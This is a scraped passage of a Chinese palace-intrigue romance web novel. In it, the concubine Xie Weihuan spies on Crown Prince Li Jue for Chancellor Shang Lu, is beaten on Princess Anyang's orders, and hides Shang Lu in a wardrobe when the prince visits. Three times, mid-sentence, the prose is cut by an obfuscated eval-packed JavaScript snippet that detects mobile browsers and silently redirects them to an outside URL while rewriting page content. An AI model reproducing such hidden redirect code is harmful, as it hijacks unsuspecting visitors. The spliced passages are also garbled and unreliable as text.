然,令谢为欢没想到,就在她刚伸出手继续为男人解衣带时,李珏竟然将被衾覆在她身上。 “孤在这里,瞧着欢儿睡。” “嗯?”谢为欢微微张着嘴,愣了好一会儿,问道:“殿下…妾可是有什么地方做的让殿下不满意?” 第一次不碰她,她能理解。 可如今男人分明是对她动了心思,却还是强行忍住不碰,莫非是这李珏不能人道? “欢儿不必多想,是孤的问题。” 李珏双目微垂,清冷的月光洒在他的脸上,谢为欢瞧出男人的欲言又止和无奈之情。 她抿抿嘴,不敢再去说什么。 皇家太子不能人道,若是将此事传出去,性命不保。 她只好乖乖躺在软榻上,心思沉沉,缓缓入睡。 待醒来时李珏依旧不在。 接下来的半月内,李珏每夜都会来到清月殿歇息,同第一日一样,只躺在他身侧,却不碰她。 她曾多次试图勾引过男人,情到深处他也只是在她的额间落下深深一吻,接下来没有一丁点再出格的动作。 …… 这日,一缕光透过窗子洒在谢为欢的身上,细碎又温柔。她斜倚在窗边的罗汉床上苦思冥想,如今算是彻底坐实了李珏不能人道的事实。 接着门外传来一阵敲门声,拉回她的思绪,“姑娘,方太医前来为您请平安脉了。” “请进来吧……” 半夏引着方太医进殿,他行礼道:“臣参见奉仪。” 谢为欢揉了揉眉心,摆手示意:“起来吧。” 方太医依言起身,将脉枕取出为谢为欢小心翼翼诊起脉来。 不过片刻,方太医紧皱眉头,“奉仪近来肝火郁结,急需要调理身体,否则将伤本体,再难医治。” “该如何医治?”谢为欢和半夏几乎一口同声问道。 谢为欢于心中想着,她近来是有些思虑过度,可这身体却没什么异样,怎方太医说得如此严重? 方太医未语,只是从怀中取出一张药方递在谢为欢面前,徐徐道:“奉仪按照此药方抓药便好。” 那张药房用得是极好的宣纸,果然皇家的太医就是不同,连着写药方的纸都是贵重少见。 “方太医,你交给我便好,我去给我家姑娘抓药。” 半夏走上前欲拿过药方,怎料却被方太医躲过。 他再次将药方递在谢为欢眼前,眼珠子左右转动,“还请奉仪亲自收过。” 谢为欢抬眸望向方太医,他的神情似乎不太对,如此坚持将药方送入她手中,难不成…… 思此,她果断接过药方,紧紧攥在手心中,眼眸接连闪烁了几下,“半夏,去送送太医。” “是……” 他们二人走后,谢为欢急忙打开那张药方,果然那上面除了中药草的名字外,还有另外几个字。 “午时,忘忧居见。” 她一眼瞧出那是商陆的字迹,看来他是想约见自己,打探消息。 她望着手中宣纸上的字,男人的字迹依旧气势如虹。脑海中不禁浮现出他端坐在案前骨节分明的手握着狼毫笔于宣纸落墨的情景。 思此,她也走到案前执起笔,在纸上写下了商陆二字,同药方上的字迹很像,却没有那般苍劲有力。 她的字迹是他亲手教的,自然像他。 一滴泪顺着眼尾滑落在宣纸上,模糊了商陆二字的笔墨。 她又将纸攥成团扔在地上。 *** 午时,用过膳后谢为欢带着半夏以抓药的名义出了太子府。 她以面纱掩面,并未让很多人跟着,太子尚在宫中未归,如今她又是府中得宠的奉仪,下人们自然不敢说什么,也不敢拦着。 两人一路向南,行至忘忧居时,谢为欢带着半夏入内。 “姑娘,我们来这忘忧居做什么?饮茶吗?”半夏疑惑问道,但好像她家姑娘并不喜饮茶,可是为何来这忘忧居呢? 谢为欢未语,入内后只是四处张望着,直到在一个角落瞧见了重楼的影子,她快步走上前跑去,微微喘着气,压低声音问:“相爷呢?” 一旁的半夏没反应过来,满眼疑惑,“重楼你…你怎么在这儿?” 重楼并未搭理半夏,只是对着谢为欢回复道:“二楼,姑娘快跟我来。” 忘忧里的人不算多,皆是一些风流雅客,好在他们是在角落里交谈,并未引起其他人的注意。 谢为欢并未向半夏解释,只是拉着她跟着重楼上了二楼雅阁,走了几步后,于一间屋前停下。 “姑娘,相爷在里面。” 谢为欢点了点头,欲推门而入,不料却被半夏拽住衣袖。 “姑娘!” “半夏,你留在这儿,有什么疑惑,问重楼。”她解释道。 话音落,谢为欢揭下面纱,推开门,悄悄走进了屋内,浓郁的苦茶陈香入鼻,绕过屏风她瞧见熟悉的人影出现在眼前。 商陆端坐在案前,与往日一般无二。 谢为欢迈着小碎步行至商陆身侧,微微行礼道:“欢儿见过相爷。” 商陆未语,只抬眸打量着她,只是几日不见少女的脸圆润了不少,看来李珏确实很宠爱她。她身上再也不是往日的苏合香,扑面而来的却是极浓郁的檀香味,那是李珏身上特有的檀香。 檀香的气味袭来,惹得商陆心烦意乱,他搓着手指,唇角掀起一抹讽刺笑,“听说李珏他很宠爱你,已将你抬作奉仪,并留宿你殿中半月。” 男人的声音很轻,就像在询问一件平常事。 谢为欢低垂下眼,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132860|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指绞紧,原来自己在别的男人身下承欢,商陆真的丝毫不在乎,她到底在期待着什么? 接着她压下心中的失落,走上前为商陆倒了盏茶,就如同在相府时一样,男人坐在案前,她站在身侧侍候。 “相爷放心,欢儿会努力讨好太子,赢得他的信任,日后助相爷行事。” 少女的手腕纤细如玉,为男人倒茶,衣袖滑落,雪白的腕臂上露出那枚鲜红的守宫砂,显得格格不入。 商陆的眼神落在那枚守宫砂上,目光一顿,立时伸出手攥住她的手腕,“李珏没碰你?” 男人攥得太用力,仿佛要将她的手腕折断,谢为欢吃痛咬着下唇,眨着眼,楚楚可怜道:“相爷…欢儿疼。” 商陆这才反应过来自己太用力,松开她的手后,隐了隐失控的情绪。 “相爷,欢儿我不知怎么太子殿下只是每日夜里来到欢儿殿中,却从不碰欢儿。” “相爷,欢儿发觉太子殿下并非是传闻中的风流公子,相反,欢儿觉得他一直是在伪装自己。” 她欲言又止,差点将李珏不能人道一事说出口,却又觉得不妥,只好选择憋在心中。 “嗯,我知道了。”商陆修长的手指搭在青色的茶盏盖,面上轻快几分,“你一切照旧。” 至于李珏伪装一事,商陆早就知晓。当今圣上多疑,膝下只两位皇子,二皇子李瑾天生残疾,只有大皇子李珏属嫡属长,是当之无愧的太子。 而这李珏幼时聪慧过人,深受圣上喜爱,但随着他日渐长大,不知何处传出来的风声,竟想让皇帝退位,太子承之。 自此,皇帝日渐生疑,李珏为了保命,不得不将自己伪装成风流纨绔的模样。 谢为欢紧抿着唇,“相爷,若是无事欢儿先退下了,离府久了,欢儿怕太子殿下起疑心。” “嗯,日后若是有事,我会告知于你。”商陆目光淡淡扫过她,眉眼平静。 谢为欢点头,看来此地是商陆的地界,日后在此地见面也算安全。 出了忘忧居后,半夏一直苦着张脸跟在谢为欢身后,一猜就是得知她来太子府的目的,怪她有所隐瞒。 谢为欢:“怪我瞒你?” “姑娘折煞奴婢了,奴婢只不过是替姑娘不值。”半夏带着哭腔,“姑娘,奴婢知道您对相爷的心思,可眼下居然还要为相爷做事将自己囚在这太子府中,您这么做真的值么?” 半夏说着说着流下了眼泪,她家姑娘为相爷付出一切,可相爷呢?总是冷冰冰的没有心,她替姑娘不值! 谢为欢笑了笑,“有什么值不值的?我由相爷养育长大,自是要为他做事。” 至于那份爱意,她配不上商陆,只能永远藏在心中。 她爱商陆,爱到骨子里,男人只要给她一丁点施舍,她都会欣喜若狂。 …… 不过片刻后,谢为欢和半夏回到了府中。 不料刚迈入府门,就瞧见掌事嬷嬷候在门内,已不似昨日那般低声下气,眼神之中更充满不屑,“这奉仪是出去做什么?难道是趁着殿下不在,偷偷出府同哪个男人鬼混去了?” 半夏:“你……” 谢为欢拦住欲上前争辩的半夏,今日这嬷嬷的态度明显不对,昨日还低声下气,今日如此高傲。 她眉心紧蹙问道:“不知嬷嬷有何贵干?” 掌事嬷嬷斜睨了谢为欢一眼,下巴高高抬起,“安阳郡主正在正殿等着奉仪,您啊快随奴婢前去。” “这安阳郡主啊,可不是一个安分的主儿。” 7.第 7 章 红日慢慢西坠,晚霞像熔了金子一般,从天边倾泻。余晖倾洒而下,整个殿宇被照得熠熠生辉。 谢为欢将半夏打发回清月殿,自己跟着掌事嬷嬷的指引来到了正殿,刚迈入殿中就听到一阵银铃般的笑声。 她好奇抬眼,只见殿内的椅子上坐着一个姑娘,不过十五六岁的模样,一身珠翠环绕,身着淡黄色长裙,头上簪着精致的碧玉簪,在光的照耀下,肆意而张扬。 一瞧就是大户人家养出的姑娘,眉眼之间同李珏一样尽是贵气,想必她就是安阳郡主。 下一时,那姑娘察觉到谢为欢的到来,立时向她投来犀利的目光,上下打量着她,问道:“你就是执玉哥哥新封的奉仪?” 执玉哥哥? 是说的李珏么。 谢为欢眼神轻轻滞了一下,行礼道:“妾谢为欢,见过郡主。” 安阳郡主打量一番后,心中莫名升起一团妒意,只因面前的谢为欢太过于貌美,虽不是什么媚艳女子,却极为娇柔,身段与肌肤也非京城人的贵女能比得上,连她都自愧不如。 “果然是个卑贱不堪的。”安阳郡主咬牙,眸中跳动着两团怒火,“来人,把她给我压下去,施以杖刑!” 谢为欢猛地抬起头望向安阳郡主,眼神里充满了难以置信,反驳道:“敢问郡主妾所犯何事?为何要责罚于妾?” 她虽是奉仪,出身低微,可也容不得人随意责罚。 少女的拳头紧紧攥着,一双倔强的眸子死死盯着安阳郡主。有风袭来,吹动她额间的碎发,唯有那眸光未变分毫。 她如同山间最坚硬的岩石,在风雨中屹立不倒,不管面对什么困难。 安阳郡主呼吸一滞,被她的气势骇了一跳,心虚地扑闪着睫毛,话语吞吞吐吐:“你…你勾引执玉哥哥,其罪当诛,本郡主自是有权利惩罚你!” “本郡主的话你们都不听了?” 下人们仍面面相觑,迟迟不敢动,一个是太子殿下宠爱的奉仪,一个是大名鼎鼎的安阳郡主,得罪任何一个人都不会有什么好下场。 安阳郡主见下人没有动,气得眉毛倒竖,声音抬高道:“本郡主说,上刑!违令者,其罪当诛!” 下人们听此不敢违抗,上前压下谢为欢。 “你们放开我!” 谢为欢用尽全力挣扎着,她并无过错,任何人都不能罚她。 无奈的是她一人抵不过下人们的力量,她如同一只待宰的羔羊,被他们强行按跪在地。 “用刑!” 眼见着下人拿着长棍走向她,再次挣扎道:“放开我!我并无错,凭何罚我?” “奉仪得罪了!” 下人挥着长棍打向她的背脊, 一下,又一下… 后背先是一阵酥麻,接着灼热的疼痛感瞬间蔓延全身,谢为欢咬着下唇,额头出了层密汗呼吸也因疼痛而急促。 明明很疼,即使她眸子里蓄满了水光,却也未曾流下一滴泪。 谢为欢不怕疼,无论受多严重的伤也不会哭。 她用力抬起头,盯着安阳郡主,“我并未犯错…郡主何故……罚我?” 少女的肌肤本就细嫩,长棍没打几下,她的后背就已渗出血迹,触目惊心。 下人们见此也慌了起来,若是再打下去,后果不堪设想,再怎么说谢为欢也是太子奉仪。 “郡主,不能再打了!” “本郡主说继续!你们怎敢不听?”安阳郡主色厉内荏地警告,“你们若是不打,本郡主亲自来!” 她发疯了似地跑去抢过下人手中的长棍。 “我无错…郡主这是在公报私仇,若是殿下回来看到,他……”谢为欢眼见着安阳郡主的长棍向她打来,却无能为力。 电光火石之际,耳畔传来熟悉的人声,阻止了这场闹剧。 “都给孤住手!”男人的声音急切而凌冽。 谢为欢颤巍巍抬眸一瞧,见到向她奔赴而来的李珏。柔和的光落在男人的身上,他急切奔向自己,救她于危难。 恍惚之间,她竟将他看成是商陆。 李珏将谢为欢抱在怀中,见她背后满眼心疼,看向安阳郡主的眸子里充满愠色,“谁允许你动她的?” 令所有人没想到平日里温柔如水的太子竟会疾言厉色。 “殿下…妾无事。”谢为欢躺在他怀中,拽着他的衣袖劝阻道。 “欢儿,放心,孤会为你讨回公道。” 一旁的安阳郡主见李珏发怒也傻了眼,气势一下子弱下去,“执玉哥哥…是她勾引你,安阳只是不忍心看你被这狐媚子迷了心智。” “你今日擅闯孤的太子府,伤孤的奉仪,当以不敬之罪论处,择日孤便禀告母后,治你的罪。”李珏将谢为欢抱起,“还有你们这帮瞎眼的下人,不知自己的主子是何人?全部拉下去发卖!” “殿下息怒!殿下息怒!” 安阳郡主拦下他们的去路,泪眼婆娑,“执玉哥哥,你别忘了我们是有婚约的,我是你的太子妃,你真的要为了这个贱人治我的罪么?” 谢为欢内心一颤,抓着李珏衣襟的手松了几分力道。原来安阳郡主与李珏有婚约,难怪她能在太子府中大放厥词。 李珏会为了她与安阳郡主作对吗? 思此,她不禁在心中嘲笑自己不切实际,她不过是一个小小奉仪,而安阳郡主会是来日的太子妃。 孰轻孰重,李珏怎会不知? 然,男人接下来的话,却令谢为欢彻底不知所措。 “婚约又如何?若是孤不想娶,谁也不能强迫孤!” 此言落入耳中,她心里蓦地一恸,抬起眸子瞧着将她紧紧护在怀中的男人,眼尾泛红,似动了好大的怒气。 原来他如此在乎自己。 …… 微风扬起男人宽大的袖袍,李珏走得很急,很急。 谢为欢强忍住背后的疼痛,缩在李珏怀中,小声道:“都怪妾,让殿下费心了。” 李珏喘着气,眼底的笑意分明,“欢儿说什么傻话,你是孤的女人,自然由孤来护。” 此言同一股暖流涌入谢为欢的心中,她的鸦睫氤氲着雾气,嘴唇微微颤抖。 为何他要待她如此好? 良久后,终行至清月殿,谢为欢被李珏轻轻放在软榻上。 “来人,传太医!” 一声令下,奴婢们不敢耽误。 “姑娘,您这是什么了?”半夏迎上来哭唧唧问道。 “我没事…只不过受了点伤。” 半夏的泪从眼中涌出,像断了线的珍珠,“奴婢瞧着姑娘时间长未归,赶紧派人去请殿下,没想到还是晚了一步,姑娘还是受了皮肉之苦。” “欢儿等等,太医马上到。”李珏望着榻上的少女面色苍白,毫无血色,后背渗出血迹,与脑海中某一场景重合,竟也随之流下眼泪,“孤绝不会让你有事的。” “殿下,妾…妾只是皮肉伤罢了。”谢为欢见李珏为她而哭,心里生出异样的起伏,男人紧紧攥着她的手,生怕她下一刻离他而去,永远消失。 太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133890|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医到的时候,谢为欢抬眸望了一眼,还是上次交给她信的方太医,若是没猜错,他应是商陆的心腹。 方太医不敢耽误,立即为她察看伤口,“回殿下的话,奉仪这伤并未伤及根本,只是需赶紧用药。” 他从药匣中取出伤药,递在李珏手中。 “还要切记这几日万不可沾水。” 李珏的眉头舒展开,接过药后摆了摆手,“你先下去吧,孤知道了。” 方太医走后,李珏坐在谢为欢身侧,“欢儿,孤给你上药。” “殿下……这不合礼数。”谢为欢慌忙垂下眼帘,“殿下交给下人便好。” “孤说合适便合适。” 李珏的态度很强硬,不听她说什么,就要伸手褪去她后背那件已沾染血迹的纱衣, 然,就在此时,门外传来一阵急切的敲门声,“殿下!急报!” 李珏手上一顿,挑眉问道:“何事?” “殿下宫中传来急报,急需殿下处理!耽搁不得,还请殿下随我速速离去!” 谢为欢抬起眼望着李珏,“殿下您去忙吧,这有半夏照顾着妾,不必担心。” 语毕,时间仿若静止,被无限拉长。 李珏放下手中的帕子,看向谢为欢时面上带着几分愧疚,“欢儿等着孤,孤快去快回!” 他又起身将药送到半夏手中,嘱咐道:“伺候好你家主子,若是有半点差池,孤唯你是问。” 半夏恭敬行礼:“殿下放心,奴婢一定照顾好姑娘。” 李珏满意点头,转身随着小厮而离去。 谢为欢望着男人离去的背影,渐渐消逝在眼前,她心中毫无半分伤感与落寞,不在乎又怎么会伤心? 半夏走上前,忍不住道:“殿下平日里不是最疼爱姑娘,怎么今日在这时候又抛下姑娘于不顾,有什么事能有姑娘重要?” “半夏,他是太子殿下,若是围着我转,成何体统?” “姑娘,你就是太……” 半夏一时想不出什么话来形容她,若说她家姑娘软弱,可在面对任何伤时,从未流过一滴眼泪。 …… 在半夏给谢为欢上药时,她并未吭声,只是默默承受伤口带来撕裂般的疼痛,蔓延四肢百骸。 最后疼得没了力气,听着半夏将房门合上,她昏睡过去。 这一觉,谢为欢睡得格外香甜,梦到了许多场景。 刚到相府时,她害怕雷声,每至雷雨天气时,她都会求着商陆留下来陪她,男人身上苦茶的陈香总能安抚她恐惧的心灵。 最开始她能感受到男人的抗拒之意,后来大概是自己太过于执着,赢得了商陆的一丝怜悯。 谢为欢最大的愿望便是跟在商陆身侧,哪怕为他妾室。他救她一命,又养育他长大,救赎她一生。 可是,她又如何去捂热男人冰冷的心呢? 思绪紊乱起来,她如同落入当年的那场大雨,痛意袭来,如何挣扎着却无法动弹。 她使劲呼吸,挣扎,最终睁开双眼。 原来只是梦魇。 醒来时,天色已晚。 少女卧在软榻上轻喘着气,额头乃至鼻尖都泛着薄汗,她动了动后背,发觉涂了药后伤口已经不疼了。 她慢慢起身坐了起来。 这时,门外却响起一阵敲门声,半夏支支吾吾说道:“姑娘可醒了?” “太…太医前来为姑娘看…看伤。” 谢为欢目光微微一顿,方太医不是方才来过。眼下天色已晚,怎又来了? 8.第 8 章 谢为欢眉头不自觉蹙了起来,艰难伸出手将背后披着的轻纱向上拢了拢,遮挡住裸露在外的肌肤。 身为太子府中的奉仪,行为上有一丝不检点,若是传出去会被人嗤笑。 “半夏,快快请太医入内!”她轻轻唤了一句,声音沙哑而难听。 月光透过幔纱映在少女苍白的脸上,洒下一抹淡淡的银辉,衬得她越发孱弱。 推门声响起,接着一阵缓慢而坚定的脚步声,还有腰间的玉佩随着来人的步伐而晃动,璁珑作响的声音。 这声音…来人分明不是太医…… 谢为欢站起身捏紧了手指,已作好与来人抗衡的准备。 耳畔脚步声越来越近,她的心也开始止不住地起伏,直至那人绕过屏风。 她忽地抬眸,定睛一瞧,来人竟是商陆! “相……相爷?你怎来了?” 商陆径直走到她身前,目光细细打量着她,只是淡淡问道:“伤如何了?站在这里做什么?” 眼前的少女面色苍白,身上披着一层纱衣,将自己完全包裹住,虽面色平静,却垂着眼帘,他能清楚地知晓她在忍痛。 “只不过是皮外伤而已。”谢为欢摇了摇头,望向商陆的眼神还是充满难以置信。 她仍是不敢相信商陆会亲自来这太子府中瞧她。 “相爷,你…你快走,若是被太子发现……” 话刚说一半,谢为欢察觉到商陆幽深的目光落在她身上,眼眸染上一丝薄怒。 男人甩了甩衣袖,“我会怕他?” 她默了默,她知商陆位高权重,可眼下毕竟是在太子府,万一李珏归来,看到他在此处…… “相爷,欢儿不是这个意思…”谢为欢猛地呛了一口,用手捂住嘴咳嗽起来,因此牵动背后的伤,又忍不住闷哼一声,紧紧咬着下唇忍痛。 商陆眉心微动了动,垂在身侧的手几次欲伸出,却被他强行抑制住。 他敛了敛眼底的柔光,“李珏一时半会儿回不来,你怕什么?” 听此,她才慢慢吐出口气,微微撩起眼皮打量着男人的脸,他对她会不会有那么一丝动容? 然而他眼底平淡的无甚情绪。 谢为欢如同霜打的茄子,一下子又焉了起来。 眼前的商陆没有察觉到谢为欢的异样,只从怀中取出药瓶递在她身前,与往常一样,不想有过多的解释。 “上好的金疮药。” “比李珏的,要好上百倍。”。 男人的话很淡,落在谢为欢耳中却在她心中激起千涛骇浪。 所以,商陆这是得知她受伤亲自来给她送药么? 原来他还是关心她的。 谢为欢唇角笑意轻牵,似乎只要是男人给她一点施舍的怜悯,她都会止不住地开心许久,许久。 “谢相爷惦记欢儿。”她于手心中紧紧攥着那瓶金疮药。 商陆瞧着眼前少女嘴角漾着的笑,宛如春花明媚,拂去他心中的躁意,莫名心安。 他问道:“打你的可是安阳郡主?” “正是。” 男人神情复杂,若有所思点了点头。 他的人,包括他的东西,若非经过他允许,不会轻易让人碰,更别说打骂。 谢为欢手中攥着商陆给的药,站在榻前纹丝不动,就在此时,有风拂过,轻柔的幔纱在空中舒展,翻卷。 头顶再次响起男人的声音,平静而清冷,“不上药?” 谢为欢抿抿嘴,眼神中掠过一丝惊讶,暗暗揣测着男人话中的意思,回应道:“相爷放心,等相爷离开后,欢儿会让半夏帮着上药。” 只见眼前商陆掀起眼,幽幽地扫视了她一眼,夺过她手中的药,将她按坐在榻上,“我来。” 谢为欢怔怔地望着他,像是听到什么天方夜谭,一时之间未作出反应。 商陆见她无任何反应,重复道:“我来给你上药。” 这一次,男人的话清清楚楚落在谢为欢耳中。她没有听错,商陆竟要给她亲自上药,明明前几日对自己很冷淡,眼下却要为她亲自上药。 “相爷,不……不必劳烦您。” 她的伤在后背,上药意味着要在男人面前褪下衣物。虽她曾在他面前褪去过所有衣物,如今想来不禁懊悔,当初就不该做那样不理的行为。 然,男人的脸色却倏然沉了下来,“在太子府久了,我的话不听了?” “那便…有劳相爷。”谢为欢知道商陆讨厌违抗命令,她眨了眨眼,不得不应允。 话音落,她乖乖转过身去,将身上的那层纱衣缓缓褪去,滑至半腰露出后背伤口。 少女浓墨色的发垂在身后,挡住她白皙的背,似乎是因着害羞她的肌肤呈现出一抹异样的淡粉色。 商陆抬手将她的发丝轻轻拨至身前,露出她的整个后背,见伤他深邃的眼眸微微眯起,那几道可怖的伤口赤裸裸留在她光滑的肌肤之上,显得格格不入。 不同于那夜,眼下在明亮灯火的映照下,他才看清楚少女娇颜白玉无瑕,肤若凝脂,还有她背后那道足足一寸长的旧疤,是一年前少女为救他而留下的。 眼神落在那道疤,他不自觉伸出手去触碰,动容一瞬。 谢为欢感受到男人的触碰,肩线明显绷直,他的手指很凉,很凉,凉得她不自觉颤抖,“相、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137882|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相爷……” 欣喜之中带着不知所措。 商陆轻轻嗯声,用手指取出药,涂在少女的伤口处,很轻,很怕弄疼她。 “若是疼,你可以哭出来。” 她摇了摇头,“欢儿若是这点疼都不能忍,日后还如何为相爷做事?” 商陆手上一顿,力道更轻了几分。 男人的指腹将那药涂在伤口,谢为欢的眉头紧皱,疼得手指攥着抠进指甲逢,却未流下一滴眼泪。 商陆眼中浮现雾色,侧头掩过情绪。 这金疮药是商陆费了很大周折求来的,用后不会留疤痕,不会为此要付出的代价便是涂在伤口处,如万蚁蚀骨般疼痛,非常人所能忍受。 莫说是她这般女子,就连是商陆也并非能做到一声不吭。 然,少女有时太过于坚韧,而她的坚韧在商陆看来却莫名刺痛他的心。 涂完药后,商陆用帕子擦了擦手,替谢为欢拢上纱衣。 “这几日切记不要沾水,还有……”他顿了顿,“别让李珏碰你。” 谢为欢抬眸望向商陆,睫毛轻轻颤动,这是男人第一次主动关心她,如此是不是代表着自己在他心中确实有所不同呢? 她手指攥紧,声音细弱蚊虫,问道:“相爷,欢儿还会回到您身侧么?” 说出此话后,她指尖微动,自幼以来,面对男人她只有服从,尽管心中充满爱意她也不敢去表达,那夜献身是她第一次反抗,而今夜也是她第一次质问。 烛火映着男人清冷的神色,他的凤眸中翻涌着看不懂的情绪。 商陆放下手中的药,看向她,满不在乎道:“只要你助我成事,自会回到相府。” 若是往日他并不喜任何人过问她的决定,也从不会去做出什么承诺,谢为欢本就是她养的棋子,或弃或留,皆在他的一念之间。 而今日望着她的坚韧,不禁令他动容。她是他养大的,果然有他的影子。 谢为欢愣了愣,抬眸望向商陆那张冷淡的脸,看到那双让她魂牵梦绕的眉眼,心中滋生出不知名的喜悦。 她以为商陆并不会回答她,没想到她还能回相府,回到他身侧。 “相爷放心,欢儿定会竭尽全力助相爷成事……” 为了回到他身侧,她愿意付出一切。 商陆:“你从不会让我失望。” 谢为欢垂下眼,“欢儿必不会辜负相爷的信任。” 商陆未语,他那双乌黑的眼眸,似是漫长而无垠的长夜,总是能吸引谢为欢,让她的目光落在他身上久久不能移去。 直到门外响起熟悉的人声,“欢儿,你睡了么?孤来瞧瞧你。” 9.第 9 章 夜色朦胧,月光细细碎碎洒在那棵梧桐树上,染上银色的光晕。 李珏风尘仆仆从尚书府赶回,也不知怎么今日尚书令一反常态,非要处理陛下交代的事务。 事情明明没那么紧急,却非要火急火燎拉着他今日处理完,明日交给陛下,害得他匆忙离去,独留谢为欢一人。 殿外,李珏望着清月殿正燃着烛火,知谢为欢并未睡去,不禁想起她受伤时,面色苍白,如一只受伤的猫儿蜷缩在他怀里,楚楚可怜。 思此,他眼神中满是愧疚,“欢儿,让孤进去瞧你一眼,孤便安心了。” “欢儿,今日都是孤不好。” 而此时屋内的谢为欢与商陆对视一眼后,她猛地站起身,不小心牵动背后的伤口,嘴角抽了抽。 商陆还在她殿中,眼下殿外站着李珏,她和商陆二人被堵在殿中,若是被李珏撞见,一切将功亏一篑。 “相爷…这该如何是好?”她抬眼看向商陆,问话的声音都带着颤抖。 然,商陆未动只是望向门外,眉眼微挑,面上仍是云淡风轻的模样,“他回来的竟如此快。” 相比于谢为欢,她急得浑身冒着冷汗,手指不自觉绞紧,环视四周,最终目光停留在殿内的榻衣柜上。 正好与商陆平齐。 她灵光乍现,“相爷!请相爷到这榻衣柜中躲一躲!” “……” 商陆未动,只是瞥了一眼,满是嫌弃。 谢为欢听着门外李珏的呼唤,再顾不得什么快步至商陆面前,将他推到柜子里。 望向他那张阴沉的脸,“委屈相爷了,还请相爷老实些。” “……” 商陆的薄唇抿成一条直线,看着少女慌乱地将他塞进柜子里,又无情合上柜门。 他没有反抗。 透过柜中缝隙,他清楚瞧见谢为欢整理着身上那件遮不住什么的纱衣,满眼欣喜去见……李珏。 他眼里闪出几分寒光,压住心里的怒意。 谢为欢转身躺回软榻,向着门外柔声唤道:“是殿下么?快快请进,妾还未入睡。” 一语落,耳畔传来一阵急切的脚步声。 李珏入殿后三步并作两步向谢为欢快步行来,握住她的手,“欢儿。” “殿下…恕妾行动不便,不能向您行礼。”谢为欢艰难坐起身,装作柔弱至极的模样,好似下一刻就要倒在榻上。 李珏见此眼睫垂下,心底暗暗揪成了一团,将手搭在她的肩膀轻轻摩挲,柔情似水,“欢儿快躺下,伤口可还疼?” 透过幔纱,谢为欢的眼神不禁向那床榻柜飘去,她眨了眨眼,“多谢殿下垂怜,婢女已为妾上了药,眼下已不疼了。” 李珏叹了口气,眼前少女有时太过于善解人意,倒是让他不知所措,他更想让少女对他撒娇埋怨。 他握住她的手,轻轻揉了揉她的头,“孤没陪在欢儿身侧,都是孤的不是。” 他望着少女苍白的面色,心中满是不忍,“欢儿放心,孤会为你讨回公道。” “殿下……为了妾,不值得。” 谢为欢低垂下眼,面前的李珏好像从第一次相见起,就对着她有些几分不一样的情绪,而那股不知名的情来得突然,也让她罔知所措。 李珏望着她笑了笑,接着从怀中取出一盒胭脂,“欢儿瞧,这是孤特意让人寻来的,孤怕你生气,寻来哄你。” 谢为欢轻轻抬起眸子,接过李珏手中的胭脂,“妾谢过殿下。” 除了商陆每年生辰送她生辰礼,这还是他第一次收到别人的礼物,不免有些欢心,笑意自嘴角而蔓延。 李珏看着她入了迷,眼神满是深情,暧昧似乎融于空气之中在他们之间慢慢扩散。 谢为欢瞧着李珏向他靠近,感受到他温热的气息,男人好像要吻她的额间。 她不自觉低垂下眼。 怎料此时,一旁的榻衣柜处传来几声响动。 “欢儿,哪里传来的声响?”暧昧的气氛被那声响打断,李珏停止动作,注意力被吸引,要前去寻找声响的来源。 谢为欢呼吸猛地一滞,咬牙压下心中的慌乱,抓住李珏胳膊解释道:“殿下,兴许是什么东西不小心掉了,不打紧的。” 眼见李珏不理她,非要坚持去寻,她又继续道:“殿下,不要走,给妾试试这新口脂如何?” 说话间,她的眼神偷偷瞄向衣柜,不禁心下思索怎么一向谨慎的商陆今日竟如此不小心,在这关键时刻发出声响,若是被李珏发现,她来这太子府还有何意义? 李珏转过身,眼神微微一凝,面对谢为欢的要求心中虽是不理解,却也尽量满足,“好,孤给欢儿擦口脂。” 言罢,他接过口脂,靠近谢为欢轻轻用手指涂在她的唇上。少女的唇柔腻如脂,带着她独有的温热,让李珏指尖微微颤抖。 谢为欢只低垂着眼,不敢瞧男人的样子,两人此时贴得极近,呼吸交织。 在旁人的视角来看,他们二人此时更像是亲吻在一起而非单纯地涂抹口脂。 …… 不过片刻,少女的唇涂上了艳丽的口脂,有了口脂相衬,她的面色不再苍白,倒是更显娇媚。 “这口脂的颜色衬得欢儿真好看。”李珏盯着她的脸,眉眼又染上谢为欢看不懂的缱绻。 “谢殿下谬赞。” 她抬眸看向李珏,余光却总是瞥向一旁的榻衣柜。眼前的李珏却并没有察觉到,眼下她心心念念想着的都是柜中的商陆。 “欢儿,孤今夜留下来陪你如何?” 谢为欢迎着李珏的目光,一向从容淡定的她,眉梢也染上一丝慌乱。 若是李珏今夜留下来,岂不是商陆要在榻衣柜中待上一夜? 